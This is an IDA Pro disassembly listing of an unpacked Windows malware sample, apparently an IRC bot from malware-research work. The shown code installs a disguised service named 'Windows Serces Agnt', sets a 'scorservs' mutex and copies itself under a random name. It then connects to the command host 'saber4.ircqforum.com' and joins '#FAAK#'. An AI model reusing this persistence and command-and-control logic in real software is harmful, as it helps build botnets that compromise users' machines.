;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : D9CDEED125F5309AABEC06E413582269
; File Name : u:\work\d9cdeed125f5309aabec06e413582269_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_41835A+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB608
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB678
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB5B8
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB630
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416644p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E59C
call dword_4CB6EC
call sub_40B2C0
call dword_4CB5AC
call dword_4CB5AC
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D808
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 26A0B90h
nop
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 26A0000h
nop
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 2690C14h
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D800
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418685
pop ecx
mov dword_4CB390, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB394, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B13
push 2
call dword_4CB700
push 7530h
push offset aScorservs ; "scorservs"
push ebx
push ebx
nop
call near ptr 26C00C0h
push eax
nop
call near ptr 26C0000h
cmp eax, 102h
jnz short loc_4012A1
push 1
call near ptr 77E75CB5h
nop
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB5C4
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 26A0B90h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 26B0E4Bh
push eax
nop
call near ptr 26A0000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429AD0
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429110
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429110[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC8
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 26B0D2Fh
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 26B0C16h
nop
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 26B0857h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 26A0F44h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418294
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 26B0C16h
nop
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D808
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
call near ptr 26B07F5h
nop
push eax
push esi
push 100000h
nop
call near ptr 26B0259h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429ABC
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2690C14h
test eax, eax
jz short loc_401516
push 0C8h
call near ptr 26A0F44h
nop
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB5AC
push ebx
call near ptr 77E75CB5h
nop
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB974, 2
jle short loc_401562
mov eax, dword_4DB978
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 26C0000h
push esi
nop
call near ptr 2690934h
mov eax, dword_4DB978
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call near ptr 26A0F44h
nop
mov eax, dword_4DB978
push dword ptr [eax+8]
nop
call near ptr 26B017Ah
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB724, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429AA0
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F7
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
push 0B80h
push ebx
push offset dword_43D810
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A7C
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_419A01
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_401622
nop
call near ptr 26B0857h
push eax
lea eax, [ebp-0A0h]
push offset unk_429A3C
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
push 2
call sub_40B33F
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429A10
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FD
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz short loc_40169A
nop
call near ptr 26B0857h
push eax
lea eax, [ebp-0A0h]
push offset dword_4299DC
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AD
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB39C
mov dword_4CB508, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB41C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CB45C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CB4F0, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB398
mov dword_4CB504, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB504, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
call near ptr 26A0F44h
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB39C
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290EC, bl
jz loc_4016FC
push 7Fh
push offset byte_4290EC
push offset dword_4CB39C
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB4EC, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2C0
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB5AC
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Bo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB654
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAFA
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08E
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E5A8
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CB6D4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E59C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB6EC
call sub_40AB23
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call near ptr 26A0F44h
nop
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD8
call sub_415221
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB6EC
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B413
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB500, bl
jz short loc_40199A
push offset byte_4CB500
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2D
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB6EC
push 1388h
nop
call near ptr 26A0F44h
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB66C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F80
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 26A0F44h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
